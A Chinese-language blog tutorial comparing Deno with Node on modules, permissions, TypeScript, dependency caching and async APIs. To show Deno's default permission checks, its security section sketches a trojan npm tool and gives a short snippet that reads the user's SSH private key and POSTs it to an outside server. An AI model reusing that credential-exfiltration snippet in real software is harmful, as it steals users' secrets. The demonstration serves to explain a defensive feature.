Deno 和 Node 的區別

Deno VS Node

Node Deno
API 引入方式 模塊引入 全局對象
模塊系統 CommonJS & 新版 node 實驗性 ES Module ES Module 瀏覽器實現
安全 無安全限制 默認安全
Typescript 第三方,如通過 ts-node 支持 原生支持
包管理 npm + node_modules 原生支持
異步操作 回調 Promise
包分發 中心化 npmjs.com 去中心化 import url
入口 package.json配置 import url 直接引入
打包、測試、格式 第三方eslint、gulp、webpack、babel 原生支持
1.內置 API 引用方式不同

node 模塊導入
node 內置 API 通過模塊導入的方式引用,例如:

const fs = require('fs');
fs.readFileSync("./data.txt");

deno 全局對象
而 deno 則是一個全局對象 Deno 的屬性和方法:

	Deno.readFileSync("./data.txt");

具體 deno 有哪些方法,我們可以通過 repl 看一下:

deno # 或 deno repl

進入 repl 後,輸入 Deno 回車,我們可以看到:

{
	Buffer:[Function:Buffer],
	readAll:[AsyncFunction:readAll];
	readAllSync:[Function: readAllSync];
	wrteAll:[AsyncFunction: writeAll];
	WriteAllSync:[Function: writeAllSync]	
}

這種處理的方式好處是簡單、方便,壞處是沒有分類,想查找忘記的 API 比較困難,總體來說見仁見智。

2.模塊系統

node CommonJS 規範
我們都知道 node 採用的是 CommonJS 規範,而 deno 則採用的是 ES Module 的瀏覽器實現,我們先來認識一下:

ES Module 的瀏覽器實現
具體關於 ES Module 相比大家都早已熟知,但其瀏覽器實現可能大家還不是很熟悉,所以我們具體看一下瀏覽器的實現:

<body>
	<!-- 注意這裏一定要加上 type='module' -->
	<script type='module'>
	    // 從 URL 導入
		import Vue from "https://unpkg.com/[email protected]/dist/vue.esm.browser.js";
		//  從相對路徑導入
		import * as utils from "./utils.js";
		//  從絕對路徑導入
		import "/index.js";
		
		// 不支持
		import foo from "foo.js";
		import bar from "bar/index.js";
		import zoo from "./index";  // 沒有 .js 後綴
	</script>
</body>

deno 的模塊規範
deno 完全遵循了 es module 瀏覽器實現,所以 deno 也是如此:

// 支持
import * as fs  from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from  "./deepCopy.js";
import foo from "./foo.ts";

// 不支持
import foo from "foo.ts";
import bar from "./bar";  // 必須制定擴展名

我們發現其實和我們平常在 webpack 或者 ts 使用 ES Module 最大的 不同:

  1. 可以通過 import url 直接引用線上資源;
  2. 資源不可省略擴展名和文件名

關於第一點,爭議非常大,有人很看好,覺得極大的擴展了 deno 庫的範圍;也有人不太看好,覺得國內網速的原因,並不實用。

3.安全

如果模塊規範是 node 和 deno 最大的不同,那麼對安全的處理,則是另外一個讓人摸不着頭腦的地方。
模擬盜號
在介紹之前我們先思考一下這個場景會不會出現:
我做了一個基於命令行的一鍵上網工具 breakwall,每個月 1 個 G 免費流量,然後將壓縮後的 JS 代碼發佈到 npm 上,然後在各種渠道宣傳一波。
羊毛黨興高采烈的 npm install -g breakwall ,然後每次使用的時候,我偷偷的將諸位的 ssh 密鑰和各種能偷的文檔及圖片偷偷上傳到我的服務器,在設定期限到期後,刪除電腦上的資料,留下一句拿錢換資料,僅支持比特幣。

默認安全的 deno
如果你覺得以上情況有可能出現,則會覺得下面的功能很實用,我們先用 deno 模擬執行以下代碼:

// index.js 
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");
rsa = new TextDecoder().decode(rsa);
fetch("http://jsonplaceholder.typicode.com/post/1",{
	method:"POST",
	body:JSON.stringify(rsa)
}).then((res) => res.json()).then((res) => console.log("密鑰發送成功"));
console.log("start  breakwall...");

PS: – unstable 是由於 Deno.dir API 不穩定

 > deno run --unstable index.js

我們將會得到如下報錯信息:

	> deno run --unstable index.js
 error:Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag...

意思就是權限異常,需要訪問環境變量,需要加上 --allow-env,我們加上這個參數再試一次,另外還需要 --allow-read、 --allow-net,最終的結果是:

> deno run --unstable --allow-env --allow-env --allow-net index.js
start breakwall...
密鑰發送成功

白名單
那麼有人就說了,如果我的應用確實需要訪問網絡和文件,但是有不想讓它訪問 .ssh 文件有沒有辦法?
當然可以了,我們可以給 --allow-read 和 --allow-net 制定白名單,名單之外都不可訪問。

簡化參數
如果是確認沒問題的,或者是自己開發軟件時,圖個方便,可以直接使用 -A 或 --allow-all 參數允許所有權限:

> deno -A ---unstable index.js
start breakwall...
密鑰發送成功

安全這方面見仁見智,有人覺得多餘,有人覺得好用,極大的增加了安全性,如果你覺得這個功能是多餘的,可以 deno run -A xxx 即可。

4.兼容瀏覽器 API

很多人不理解,爲什麼你一個服務端語言要兼容瀏覽器 API,以及怎麼兼容。
爲什麼要兼容瀏覽器 API
關於爲什麼,我舉一個例子大家就明白了,在設計 node 之處,關於輸出函數本來叫 print 之類的,後來有人提議爲什麼不叫 console.log, ry 覺得挺不錯,就接納了意見。
但是,這個設計並不是刻意而爲之,而 deno 的設計則刻意爲之,通過與瀏覽器 API 保持一致,來減少大家的認知

怎麼兼容瀏覽器 API
(1)概念上兼容:

  • 模塊系統,從上面介紹看出 deno 是完全遵循瀏覽器實現的
  • 默認安全,當然也不是自己創造的概念,W3C 早已做出了瀏覽器權限的規定,我們在做小程序的時候尤爲明顯,需要獲取各種權限
  • 對於異步操作返回 Promise
  • 使用 ArrayBuffer 處理二進制
  • 等等
    (2)存在 window 全局變量
console.log(window === this, window === self, window === globalThis);

(3) 實現了 WindowOrWorkerGlobalScope 的全部方法
具體方法列表,我們可以參考:lib.deno.shared_global.d.ts 和 lib.deno.window.d.ts

// 請求方法
fetch("http://baidu.com");
// base64 轉化
let encodeData = btoa('hello,world'); // 編碼
let decodeData = atob(encodeData); // 解碼

// 微任務
queueMicrotask(() =>{
	console.log(123);
})
// 等等

(4)大趨勢
總體而言,如果服務端和瀏覽器端存在相同概念,deno 就不會創造新的概念,這一點其實 node 也在做,新的 node 14.0 CHANGELOG 就也提及要實現 Universal JavaScript 和 Speccompliance and Web Compatibility 的思想,所以這點大家都應該會接受吧,畢竟大勢所趨。

5.支持 Typescript

不管你喜歡與否,2020年了 ,必須學習 TS了,起碼在面試的時候肯定會問的。

//  index.ts
let str:string = "chenxishen";
str = 123;
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.
6.去除 node_modules

deno 沒有 node_modules,那麼它是怎麼進行包管理的呢?我們先看下面的例子

 // index.js
 import {white, bgRed} from "https://deno.land/std/fmt/colors.ts";
 console.log(bgRed(white("hello,world")));
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!

我們看到有 Download 和 Complie 兩個不走,我們會產生幾個疑問:
(1)每次都要執行下載嗎?
答:我們只需要 再執行一次就明白了,不需要每次下載。

 	> deno run inidex.js
 	hellow world!

(2) Download 和 Complie 的文件在哪裏呢?
答:我們會發現,當前執行的目錄,並沒有 Download 和 Complie 文件,那文件放在哪裏呢,我們首先來看一下 deno --help 命令:

	> deno --help
	SUBCOMMANDS:
	#... 
	info   Show info about cache or info related to source file
	#...
	ENVIRONMENT VARIABLES:
		DENO_DIR set deno's base directory (defaults to $HOME/,deno)

deno info 命令展示了依賴關係,類似 package.json

> deno info index.js
local: /Users/chenxishen/Desktop/index.js
type: JavaScript
deps:
file:///Users/chenxishen/Desktop/index.js
	└── https://deno.land/std/fmt/colors.ts

DENO_DIR 則爲實際的安裝和編譯目錄,相當於 node_modules,默認爲 $ HOME/,deno (命令提示是這樣的,但實際需要指定一下環境變量 export DENO_DIR=$ HOME/.deno),我們看一下

> tree $HOME/.deno
/Users/chenxishen/.deno
├── deps
│   └── https
│       └── deno.land
│           ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│           └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
	└── https
   	 	└── deno.land
        	└── std
            	└── fmt
               		 ├── colors.ts.js
              		 ├── colors.ts.js.map
               		 └── colors.ts.meta

8 directories, 5 files

(3)沒網絡了怎麼辦?
我們有些場景是將本地寫好的代碼部署到沒有網絡的服務器,那麼當執行 deno run xxx 時,就是提示 error sending request.
答:將上面緩存的目錄內容,直接拷貝到服務器並指定環境變量到其目錄即可。

(4)依賴代碼更新了怎麼辦?
答:當依賴模塊更新時,我們可以通過 --reload 進行更新緩存,例如:

	> deno run --reload index.js

我們還可以通過白名單的方式,只更新部分依賴,例如:

> deno run --reload-https://deno.land index.js

(5)僅緩存依賴,不執行代碼有辦法嗎?
答:有的,我們可以通過 deno cache index.js 進行依賴緩存。

(6)多版本怎麼處理?
答:暫時沒有好的解決方案,只能通過 git tag 的方式區分版本。

7.標準模塊與 node API 兼容

我們通過第 1 點可以看到,其實 deno 的 API 相對於 node 其實是少一些的,通過其文件大小也能看出來:

> ll  /usr/local/bin/node  /Users/chenxishen/.local/bin/deno
-rwxr-xr-x 1 42M  /Users/chenxishen/,local/bin/deno
-rwxr-xr-x 1 70M /usr/local/bin/node

那這些少的 API 只能自己寫 或者求助於社區嗎?
deno 對於自身相對於 Node 少的和社區中常用的功能,提供了標準模塊,其特點是不依賴非標準模塊的內容,達到社區內的模塊 引用最後都收斂於標準模塊的效果。例如:

// 類似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";

// 類似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";

同時爲了對 node 用戶友好支持,提供 了 node API 的兼容

import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";

console.log(path.resolve('./', './test'))

所以,大家在爲了 deno 社區做貢獻的時候,首先要看一下標準模塊有沒有提供類似的功能,如果已經提供了可以進行引用。

8.異步操作

根據 ry 自己是說法,在設計 node 是有人提議 Promise 處理回調,但是他沒聽,用他自己的話說就是愚蠢的拒絕了。

Node 用回調的方式處理異步操作、deno 則選擇用 Promise

// node 方式
const fs = require('fs');
fs.readFile('./data.txt',(err,data) =>{
	if(err) return;
	console.log(data);
})

另外 deno 支持 top-level-await,所以以上讀取文件的代碼可以爲:

// deno
const data - await Deno.readFile("./data.txt");
console.log(data);

node 關於這方面也在一直改進,例如社區上很多 promisify 解決方法,通過包裹一層函數,實現目的。例如:

// node API promisify
const { promisify } = require('es6-promisify');
const fs = require("fs");

// 沒有 top-level-await,只能包一層
async function main(){
	const readFile = promisify(fs.readFile);
	const data = await readFile("./data.txt");
	console.log(data);
}
main();
9.單文件分發

我們知道 npm 包必須有 package.json 文件,裏面不僅需要指明 main 或 module 或 browser 等字段來標明入口文件,還需要指明 name 、license、description 等字段說明這個包。
ry 覺得這些字段擾亂了開發者的視聽,所以在 deno 中,其模塊不需要任何配置文件,直接是 import url 的形式。

10.去中心化倉庫

對應 www.npmjs.com 我們肯定都不陌生,它是推動 node 蓬勃發展的重要支點,但作者認爲它是中心化倉庫,違背了互聯網去中心化原則。
所以 deno 並沒有一個像 npmjs.com的倉庫,通過 import url 的方式將互聯網任何一處的代碼都可以引用。

PS:deno 其實是有基於 GitHub 的第三方模塊集合。

11.去依賴開發

我們在寫一個 node 庫或工具時,開發依賴是少不了的,例如 babel 做轉換和打包、jest 做測試、prettier 做代碼格式化,eslint 作代碼格式化校驗,gulp或者 webpack 做構建,讓我們在開發前就搞得精疲力盡。
deno 通過內置了一些工具,解決了上述問題:

  • deno bundle:打包命令,用來替換 babel、gulp 一類工具,例如: deno bundle ./index.ts;
  • deno fmt: 格式化命令,用來替換 prettier 一類工具,例如 deno fmt ./index.ts
  • deno test: 運行測試代碼,用來替換 jest 一類工具,例如 deno test ./index.ts
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章